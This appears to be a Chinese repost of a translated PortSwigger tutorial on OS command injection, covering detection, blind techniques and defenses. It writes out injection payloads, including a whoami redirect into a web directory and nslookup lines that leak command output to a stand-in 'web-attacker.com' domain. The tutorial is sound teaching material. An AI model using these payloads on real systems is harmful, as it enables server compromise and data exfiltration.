关闭

Web 安全 之 OS command injection

时间: 2021-03-03阅读: 286标签: 安全

OS command injection

在本节中,我们将解释什么是操作系统命令注入,描述如何检测和利用此漏洞,为不同的操作系统阐明一些有用的命令和技术,并总结如何防止操作系统命令注入。


什么是操作系统命令注入

OS 命令注入(也称为 shell 注入)是一个 web 安全漏洞,它允许攻击者在运行应用程序的服务器上执行任意的操作系统命令,这通常会对应用程序及其所有数据造成严重危害。并且,攻击者也常常利用此漏洞危害基础设施中的其他部分,利用信任关系攻击组织内的其他系统。

执行任意命令

假设某个购物应用程序允许用户查看某个商品在特定商店中是否有库存,此信息可以通过以下 URL 获取:

https://insecure-website.com/stockStatus?productID=381&storeID=29

为了提供返回信息,应用程序必须查询各种遗留系统。由于历史原因,此功能通过调用 shell 命令并传递参数来实现如下:

stockreport.pl 381 29

此命令输出特定商店中某个商品的库存信息,并将其返回给用户。

由于应用程序没有对 OS 命令注入进行防御,那么攻击者可以提交类似以下输入来执行任意命令:

& echo aiwefwlguh &

如果这个输入被当作 productID 参数,那么应用程序执行的命令就是:

stockreport.pl & echo aiwefwlguh & 29

echo 命令就是让提供的字符串在输出中显示的作用,其是测试某些 OS 命令注入的有效方法。& 符号就是一个 shell 命令分隔符,因此上例实际执行的是一个接一个的三个单独的命令。因此,返回给用户的输出为:

Error - productID was not provided
aiwefwlguh
29: command not found

这三行输出表明:

原来的 stockreport.pl 命令由于没有收到预期的参数,因此返回错误信息。

注入的 echo 命令执行成功。

原始的参数 29 被当成了命令执行,也导致了异常。

将命令分隔符 & 放在注入命令之后通常是有用的,因为它会将注入的命令与注入点后面的命令分开,这减少了随后发生的事情将阻止注入命令执行的可能性。


常用的命令

当你识别 OS 命令注入漏洞时,执行一些初始命令以获取有关系统信息通常很有用。下面是一些在 Linux 和 Windows 平台上常用命令的摘要:

命令含义LinuxWindows
显示当前用户名whoamiwhoami
显示操作系统信息uname -aver
显示网络配置ifconfigipconfig /all
显示网络连接netstat -annetstat -an
显示正在运行的进程ps -eftasklist

不可见 OS 命令注入漏洞

许多 OS 命令注入漏洞都是不可见的,这意味着应用程序不会在其 HTTP 响应中返回命令的输出。 不可见 OS 命令注入漏洞仍然可以被利用,但需要不同的技术

假设某个 web 站点允许用户提交反馈信息,用户输入他们的电子邮件地址和反馈信息,然后服务端生成一封包含反馈信息的电子邮件投递给网站管理员。为此,服务端需要调用 mail 程序,如下:

mail -s "This site is great" -aFrom:peter@normal-user.net feedback@vulnerable-website.com

mail 命令的输出并没有作为应用程序的响应返回,因此使用 echo 负载不会有效。这种情况,你可以使用一些其他的技术来检测漏洞。

基于延时检测

你可以使用能触发延时的注入命令,然后根据应用程序的响应时长来判断注入的命令是否被执行。使用 ping 命令是一种有效的方式,因为此命令允许你指定要发送的 ICMP 包的数量以及命令运行的时间:

& ping -c 10 127.0.0.1 &

这个命令将会 ping 10 秒钟。

重定向输出

你可以将注入命令的输出重定向到能够使用浏览器访问到的 web 目录。例如,应用程序使用 /var/www/static 路径作为静态资源目录,那么你可以提交以下输入:

& whoami > /var/www/static/whoami.txt &

> 符号就是输出重定向的意思,上面这个命令就是把 whoami 的执行结果输出到 /var/www/static/whoami.txt 文件中,然后你就可以通过浏览器访问 https://vulnerable-website.com/whoami.txt 查看命令的输出结果。

使用 OAST 技术

使用 OAST 带外技术就是你要有一个自己控制的外部系统,然后注入命令执行,触发与你控制的系统的交互。例如:

& nslookup kgji2ohoyw.web-attacker.com &

这个负载使用 nslookup 命令对指定域名进行 DNS 查找,攻击者可以监视是否发生了指定的查找,从而检测命令是否成功注入执行。

带外通道还提供了一种简单的方式将注入命令的输出传递出来,例如:

& nslookup `whoami`.kgji2ohoyw.web-attacker.com &

这将导致对攻击者控制的域名的 DNS 查找,如:

wwwuser.kgji2ohoyw.web-attacker.com


注入 OS 命令的方法

各种 shell 元字符都可以用于执行 OS 命令注入攻击。

许多字符用作命令分隔符,从而将多个命令连接在一起。以下分隔符在 Windows 和 Unix 类系统上均可使用:

&
&&
|
||

以下命令分隔符仅适用于 Unix 类系统:

;

换行符(0x0a 或 \n)

在 Unix 类系统上,还可以使用 ` 反引号和 $ 符号在原始命令内注入命令内联执行:

`
$

需要注意的是,不同的 shell 元字符具有细微不同的行为,这些行为可能会影响它们在某些情况下是否工作,以及它们是否允许在带内检索命令输出,或者只对不可见 OS 利用有效。

有时,你控制的输入会出现在原始命令中的引号内。在这种情况下,您需要在使用合适的 shell 元字符注入新命令之前终止引用的上下文(使用 " 或 ')。


如何防御 OS 命令注入攻击

防止 OS 命令注入攻击最有效的方法就是永远不要从应用层代码中调用 OS 命令。几乎在对于所有情况下,都有使用更安全的平台 API 来实现所需功能的替代方法。

如果认为使用用户提供的输入调用 OS 命令是不可避免的,那么必须执行严格的输入验证。有效验证的一些例子包括:

根据允许值的白名单校验。

验证输入是否为数字。

验证输入是否只包含字母数字字符,不包含其它语法或空格。

不要试图通过转义 shell 元字符来清理输入。实际上,这太容易出错,且很容易被熟练的攻击者绕过。

原文来自:https://portswigger.net/web-security/os-command-injection
翻译来自:https://segmentfault.com/a/1190000039322073
站长推荐

1.云服务推荐: 国内主流云服务商,各类云产品的最新活动,优惠券领取。地址:阿里云腾讯云华为云

链接: http://www.fly63.com/article/detial/10172

前端必须知道的 HTTP 安全头配置

在本文中,我将介绍常用的安全头信息设置,并给出一个示例。内容安全策略(CSP)常用来通过指定允许加载哪些资源来防止跨站点脚本攻击。在接下来所介绍的所有安全头信息中,CSP 可能是创建和维护花费时间最多的而且也是最容易出问题的

贯彻 10 项原则,构建 Linux 系统安全体系

通过大量的实践经验,我们总结出 10 个最关键且有效的安全原则,分别是纵深防御、运用 PDCA 模型、最小权限法则、白名单机制、安全的失败、避免通过隐藏来实现安全、入侵检测、不要信任基础设施

前端安全之xss攻击

XSS 攻击指通过巧妙的方法注入恶意指令代码到网页,使用户加载并执行攻击者恶意制造的代码。危害有什么?跳转到广告页面,页面注入广告等等。导致公司域名被其他平台拉黑,从而使业务受损。

web安全方案

完善的内容安全策略(CSP)是前端应用程序安全的基石。CSP是浏览器中引入的一种标准,用于检测和缓解某些类型的代码注入攻击,包括跨站点脚本(XSS)和点击劫持。

信息泄漏时代,如何让自己的密码更安全?

密码的重要性,相信大家都不言而喻。而密码泄漏或信息泄漏,经常是层出不穷地出现,令人防不胜防。所以,一个强大而复杂的密码是保证自己账户安全的第一步。

最全 HTTP 安全响应头设置指南

CSP 通过指定允许加载哪些资源的形式,来防止跨站脚本注入。在本文所列的安全响应报头中,正确地设置和维护 CSP,可能是最耗时的,也是最容易出现风险的。在开发 CSP 的过程中,要谨慎充分地测试它

WEB应用程序安全检查列表

检查页面隐藏或丢失的内容:检查webserver元数据文件,如:robots.txt, sitemap.xml,.DS_Store, .htaccess,检查搜索功能可能的注入或攻击方式,检查不同agent代理访问网站显示内容的是否一致

9项你不得不知道的Kubernetes安全最佳实践

由于Kubernetes控制台中的配置错误,特斯拉被一个恶意挖掘加密货币的软件所感染。***者利用了特定Kubernetes控制台没有密码保护的这一漏洞,访问其中一个包含特斯拉大型AWS环境访问凭据的pod。

常见的网站安全问题

在网站正式上线之前,你有没有想过自己的网站是否安全吗?尽管你的网站用了很多高大上的技术,但是如果网站的安全性不足,无法保护网站的数据,甚至成为恶意程序的寄生温床,那前面堆砌了再多的美好也都成了枉然

web安全之网络安全

web安全是网络安全的一部分,怎么说呢,网络安全是个大范围,可以引申为互联网安全。包括软硬件在内,例如其中的数据安全就是指从数据的产生-传输-存储等环节都要保证其安全性。那么web安全就是特指web层面的

点击更多...

内容以共享、参考、研究为目的,不存在任何商业目的。其版权属原作者所有,如有侵权或违规,请与小编联系!情况属实本人将予以删除!